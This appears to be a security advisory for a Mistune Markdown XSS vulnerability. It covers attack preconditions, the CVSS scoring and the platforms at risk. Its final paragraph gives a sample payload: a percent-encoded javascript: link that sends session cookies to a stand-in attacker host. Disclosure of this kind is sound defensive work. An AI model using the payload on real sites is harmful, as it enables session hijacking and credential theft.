Mistune CVE-2026-59923

Exploitation requires that the target application uses Mistune's HTMLRenderer to render attacker-influenced Markdown and serves the resulting HTML to other users' browsers. The attacker must be able to supply Markdown content containing links ([text](URL)) or images () - functionality that is on by default in Mistune's HTMLRenderer. User interaction is required: the victim must click the malicious link or load an image whose src triggers the javascript: URI. Exploitation is limited to web contexts where the rendered HTML is delivered to a browser; server-side-only Markdown processing with no HTML output to users is not affected. Authentication requirements on the attacker's side are not confirmed from available CVSS data (PR:N), meaning no attacker privilege is required to submit the payload, though the application's own access controls on who can post content may serve as a practical barrier.

The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N yields a 6.1 Medium score, which accurately reflects the attack surface: network-reachable with no privileges required and low complexity, but gated on user interaction (UI:R). The Scope:Changed metric is significant - successful exploitation affects the victim's browser session rather than the server, enabling session hijacking, credential theft, or malicious redirects. EPSS data was not provided in the input; given the Medium CVSS and absence of KEV listing, widespread automated exploitation is unlikely but targeted abuse in applications rendering untrusted Markdown is plausible. No POC has been confirmed in the input data, though the bypass technique (percent-encoding) is well-understood and trivially reproducible by anyone familiar with URL encoding. The realistic risk is highest for web platforms - wikis, documentation tools, comment systems, or note-taking apps - built on Python stacks that accept user-supplied Markdown. Applications that render Markdown server-side but never serve the output to other users are not affected.

An attacker submits a Markdown comment on a web platform using Mistune, embedding a crafted link such as [click here](%6Aavascript:document.location='https://attacker.example/steal?c='+document.cookie). Mistune's safe_url() passes the percent-encoded scheme without blocking it, and the rendered HTML contains a javascript: href. When another authenticated user views the comment and clicks the link, their browser normalizes the percent-encoding, executes the script, and exfiltrates session cookies to the attacker's server.